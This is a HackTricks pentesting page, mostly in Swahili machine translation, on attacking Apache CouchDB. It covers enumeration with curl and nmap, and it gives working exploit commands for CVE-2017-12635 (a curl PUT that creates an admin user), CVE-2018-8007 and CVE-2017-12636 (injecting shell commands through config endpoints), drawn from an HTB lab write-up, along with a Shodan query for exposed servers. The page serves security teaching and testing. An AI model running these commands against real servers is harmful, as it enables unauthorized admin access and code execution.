18 KiB
5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
CouchDB ni hifadhidata yenye uwezo na inayoweza kubadilika ambayo inaratibu data kwa kutumia muundo wa ramani ya funguo-thamani ndani ya kila document. Sehemu ndani ya hati zinaweza kuwakilishwa kama funguo/maadili, orodha, au ramani, ikitoa kubadilika katika uhifadhi na upatikanaji wa data.
Kila document iliyohifadhiwa katika CouchDB inapewa kitambulisho cha kipekee (_id
) katika kiwango cha hati. Zaidi ya hayo, kila mabadiliko yaliyofanywa na kuhifadhiwa kwenye hifadhidata yanapewa nambari ya marekebisho (_rev
). Nambari hii ya marekebisho inaruhusu kufuatilia na kusimamia mabadiliko kwa ufanisi, ikirahisisha upatikanaji na usawazishaji wa data ndani ya hifadhidata.
Port ya kawaida: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Uhesabuaji wa Otomatiki
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Manual Enumeration
Banner
curl http://IP:5984/
Hii inatoa ombi la GET kwa mfano wa CouchDB uliofungwa. Jibu linapaswa kuonekana kama mojawapo ya yafuatayo:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Kumbuka kwamba ikiwa unapata 401 Unauthorized
unapofikia mzizi wa couchdb na kitu kama hiki: {"error":"unauthorized","reason":"Authentication required."}
hutaweza kufikia bendera au kiunganishi kingine chochote.
{% endhint %}
Info Enumeration
Hizi ni kiunganishi ambacho unaweza kufikia kwa ombi la GET na kutoa taarifa za kuvutia. Unaweza kupata kiunganishi zaidi na maelezo ya kina katika nyaraka za couchdb.
/_active_tasks
Orodha ya kazi zinazofanyika, ikiwa ni pamoja na aina ya kazi, jina, hali na kitambulisho cha mchakato./_all_dbs
Inarudisha orodha ya hifadhidata zote katika mfano wa CouchDB./_cluster_setup
Inarudisha hali ya node au klasta, kulingana na msaidizi wa usanidi wa klasta./_db_updates
Inarudisha orodha ya matukio yote ya hifadhidata katika mfano wa CouchDB. Uwepo wa hifadhidata ya_global_changes
unahitajika kutumia kiunganishi hiki./_membership
Inaonyesha nodes ambazo ni sehemu ya klasta kamacluster_nodes
. Sehemuall_nodes
inaonyesha nodes zote ambazo node hii inazijua, ikiwa ni pamoja na zile ambazo ni sehemu ya klasta./_scheduler/jobs
Orodha ya kazi za nakala. Maelezo ya kila kazi yatakuwa na taarifa za chanzo na lengo, kitambulisho cha nakala, historia ya tukio la hivi karibuni, na mambo mengine machache./_scheduler/docs
Orodha ya hali za hati za nakala. Inajumuisha taarifa kuhusu hati zote, hata katika hali zacompleted
nafailed
. Kwa kila hati inarudisha kitambulisho cha hati, hifadhidata, kitambulisho cha nakala, chanzo na lengo, na taarifa nyingine./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Kiunganishi/_node/{node-name}
kinaweza kutumika kuthibitisha jina la node ya Erlang ya seva inayoshughulikia ombi. Hii ni muhimu zaidi unapofikia/_node/_local
ili kupata taarifa hii./_node/{node-name}/_stats
Rasilimali_stats
inarudisha kitu cha JSON kinachojumuisha takwimu za seva inayofanya kazi. Mstari halisi_local
hutumikia kama jina la badala kwa jina la node ya ndani, hivyo kwa URL zote za takwimu,{node-name}
inaweza kubadilishwa na_local
, ili kuingiliana na takwimu za node ya ndani./_node/{node-name}/_system
Rasilimali _system inarudisha kitu cha JSON kinachojumuisha takwimu mbalimbali za kiwango cha mfumo kwa seva inayofanya kazi_._ Unaweza kutumia ___local
kama {node-name} kupata taarifa za sasa za node./_node/{node-name}/_restart
/_up
Inathibitisha kwamba seva iko juu, inafanya kazi, na iko tayari kujibu maombi. Ikiwamaintenance_mode
nitrue
aunolb
, kiunganishi kitarejesha jibu la 404./_uuids
Inahitaji kitambulisho kimoja au zaidi cha Kipekee Duniani (UUIDs) kutoka kwa mfano wa CouchDB./_reshard
Inarudisha hesabu ya kazi zilizokamilika, zilizoshindwa, zinazofanyika, zilizositishwa, na jumla pamoja na hali ya upya wa klasta.
Taarifa zaidi za kuvutia zinaweza kutolewa kama ilivyoelezwa hapa: https://lzone.de/cheat-sheet/CouchDB
Orodha ya Hifadhidata
curl -X GET http://IP:5984/_all_dbs
Ikiwa ombi hilo linajibu na 401 isiyoidhinishwa, basi unahitaji vithibitisho halali ili kufikia hifadhidata:
curl -X GET http://user:password@IP:5984/_all_dbs
Ili kupata Credentials halali unaweza jaribu kuvunjia huduma.
Hii ni mfano wa jibu la couchdb unapokuwa na mamlaka ya kutosha ya kuorodhesha hifadhidata (Ni orodha tu ya dbs):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Database Info
Unaweza kupata baadhi ya taarifa za database (kama vile idadi ya faili na ukubwa) kwa kufikia jina la database:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Orodha ya Hati
Orodha kila kipengee ndani ya hifadhidata
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Soma Hati
Soma maudhui ya hati ndani ya hifadhidata:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation CVE-2017-12635
Shukrani kwa tofauti kati ya parsers za Erlang na JavaScript JSON unaweza kuunda mtumiaji wa admin mwenye akauti hacktricks:hacktricks
kwa ombi lifuatalo:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Taarifa zaidi kuhusu hii vuln hapa.
CouchDB RCE
Muhtasari wa Usalama wa Keki ya Erlang
Mfano kutoka hapa.
Katika nyaraka za CouchDB, hasa katika sehemu inayohusiana na usanidi wa klasta (kiungo), matumizi ya bandari na CouchDB katika hali ya klasta yanajadiliwa. Inatajwa kwamba, kama katika hali ya pekee, bandari 5984
inatumika. Aidha, bandari 5986
ni kwa APIs za ndani za node, na muhimu zaidi, Erlang inahitaji bandari ya TCP 4369
kwa ajili ya Erlang Port Mapper Daemon (EPMD), inayowezesha mawasiliano ya node ndani ya klasta ya Erlang. Usanidi huu unaunda mtandao ambapo kila node inahusishwa na kila node nyingine.
Taarifa muhimu ya usalama inasisitizwa kuhusu bandari 4369
. Ikiwa bandari hii itapatikana kupitia Mtandao au mtandao wowote usioaminika, usalama wa mfumo unategemea sana kitambulisho cha kipekee kinachojulikana kama "keki." Keki hii inafanya kazi kama kinga. Kwa mfano, katika orodha fulani ya michakato, keki iliyopewa jina "monster" inaweza kuonekana, ikionyesha jukumu lake katika mfumo wa usalama wa mfumo.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Kwa wale wanaovutiwa na kuelewa jinsi "keki" hii inaweza kutumika kwa ajili ya Remote Code Execution (RCE) ndani ya muktadha wa mifumo ya Erlang, sehemu maalum inapatikana kwa ajili ya kusoma zaidi. Inabainisha mbinu za kutumia keki za Erlang kwa njia zisizoidhinishwa ili kupata udhibiti wa mifumo. Unaweza kuchunguza mwongozo wa kina juu ya kutumia keki za Erlang kwa RCE hapa.
Kutatua CVE-2018-8007 kupitia Marekebisho ya local.ini
Mfano kutoka hapa.
Uthibitisho wa hivi karibuni wa udhaifu, CVE-2018-8007, unaoathiri Apache CouchDB ulifanyiwa uchambuzi, ukionyesha kwamba matumizi yanahitaji ruhusa za kuandika kwenye faili local.ini
. Ingawa si moja kwa moja inatumika kwa mfumo wa lengo wa awali kutokana na vizuizi vya usalama, marekebisho yalifanywa ili kutoa ufikiaji wa kuandika kwenye faili local.ini
kwa ajili ya madhumuni ya uchunguzi. Hatua za kina na mifano ya msimbo zinatolewa hapa chini, zikionyesha mchakato.
Kwanza, mazingira yanaandaliwa kwa kuhakikisha faili local.ini
inaweza kuandikwa, ikithibitishwa kwa kuorodhesha ruhusa:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Ili kutumia udhaifu huo, amri ya curl inatekelezwa, ikilenga usanidi wa cors/origins
katika local.ini
. Hii inaingiza asili mpya pamoja na amri za ziada chini ya sehemu ya [os_daemons]
, ikilenga kutekeleza msimbo wa kiholela:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Uthibitisho wa baadaye unaonyesha usanidi ulioingizwa katika local.ini
, ukilinganisha na nakala ya akiba ili kuonyesha mabadiliko:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Awali, faili inatarajiwa (/tmp/0xdf
) halipo, ikionyesha kwamba amri iliyowekwa haijatekelezwa bado. Uchunguzi zaidi unaonyesha kwamba michakato inayohusiana na CouchDB inafanya kazi, ikiwa ni pamoja na moja ambayo inaweza kutekeleza amri iliyowekwa:
root@canape:/home/homer/bin# ps aux | grep couch
Kwa kumaliza mchakato wa CouchDB ulioainishwa na kuruhusu mfumo kuanzisha upya kiotomatiki, utekelezaji wa amri iliyowekwa unachochewa, kuthibitishwa na uwepo wa faili iliyokosekana hapo awali:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Hii uchunguzi inathibitisha uwezekano wa unyakuzi wa CVE-2018-8007 chini ya hali maalum, hasa hitaji la ufikiaji wa kuandika kwenye faili local.ini
. Mifano ya msimbo iliyotolewa na hatua za utaratibu zinatoa mwongozo wazi wa kuiga unyakuzi katika mazingira yaliyodhibitiwa.
Kwa maelezo zaidi kuhusu CVE-2018-8007, rejelea taarifa kutoka mdsec: CVE-2018-8007.
Kuchunguza CVE-2017-12636 na Ruhusa za Kuandika kwenye local.ini
Mfano kutoka hapa.
Uthibitisho wa udhaifu unaojulikana kama CVE-2017-12636 ulifanyiwa uchunguzi, ambao unaruhusu utekelezaji wa msimbo kupitia mchakato wa CouchDB, ingawa usanidi maalum unaweza kuzuia unyakuzi wake. Licha ya marejeleo mengi ya Ushahidi wa Dhana (POC) yanayopatikana mtandaoni, marekebisho yanahitajika ili kuweza kutumia udhaifu kwenye toleo la CouchDB 2, tofauti na toleo linalolengwa mara nyingi 1.x. Hatua za awali zinajumuisha kuthibitisha toleo la CouchDB na kuthibitisha kutokuwepo kwa njia ya seva za uchunguzi zinazotarajiwa:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Ili kuendana na toleo la CouchDB 2.0, njia mpya inatumika:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Majaribio ya kuongeza na kuitisha seva mpya ya uchunguzi yalikutana na makosa yanayohusiana na ruhusa, kama inavyoonyeshwa na matokeo yafuatayo:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Uchunguzi zaidi ulibaini matatizo ya ruhusa na faili ya local.ini
, ambayo haikuweza kuandikwa. Kwa kubadilisha ruhusa za faili kwa kutumia root au ufikiaji wa homer, ilikua inawezekana kuendelea:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Majaribio ya baadaye ya kuongeza seva ya uchunguzi yalifanikiwa, kama inavyoonyeshwa na ukosefu wa ujumbe wa makosa katika jibu. Marekebisho ya mafanikio ya faili ya local.ini
yalithibitishwa kupitia kulinganisha faili:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Mchakato uliendelea na uundaji wa hifadhidata na hati, ukifuatwa na jaribio la kutekeleza msimbo kupitia ramani ya mtazamo maalum kwa seva ya uchunguzi iliyoongezwa hivi karibuni:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
A muhtasari wenye payload mbadala unatoa ufahamu zaidi kuhusu kutumia CVE-2017-12636 chini ya hali maalum. Rasilimali muhimu za kutumia udhaifu huu ni pamoja na:
Shodan
port:5984 couchdb
Marejeleo
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.